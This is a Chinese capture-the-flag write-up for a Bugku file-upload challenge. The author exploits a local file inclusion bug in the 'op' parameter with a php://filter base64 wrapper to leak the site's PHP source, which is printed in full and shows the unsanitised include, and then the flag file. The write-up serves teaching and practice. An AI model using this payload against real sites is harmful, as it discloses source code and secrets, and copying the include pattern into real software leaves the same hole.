bugku文件上传2(湖湘杯)

打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。


那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造

op=index.php 提示我们不存在这样的页面 但事实是存在的

op=index 没有出现提示 但页面是空的

op=php://filter/read=convert.base64-encode/resource=index

结果得到

<?php

error_reporting(0);

define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];

if(!is_string($op) || preg_match('/\.\./', $op))

    die('Try it again and I will kill you! I freaking hate hackers!');

ob_start('ob_gzhandler');

function page_top($op) {

?><!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>

</head>

<body>

<div id="header">

<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>

</div>

<div id="body">

<?php

}

function fatal($msg) {

?><div class="article">

<h2>Error</h2>

<p><?=$msg;?></p>

</div><?php

exit(1);

}

function page_bottom() {

?>

    </div>

    <center>

<div id="footer">

<div>

<p>

<span>2017 &copy; </span> All rights reserved.

</p>

</div>

</div>

</center>

</body>

</html><?php

ob_end_flush();

}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))

    fatal('no such page');

?>

通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。

通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

op=php://filter/read=convert.base64-encode/resource=flag

则获得flag的base64加密后的数据,进行解密,获得flag。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容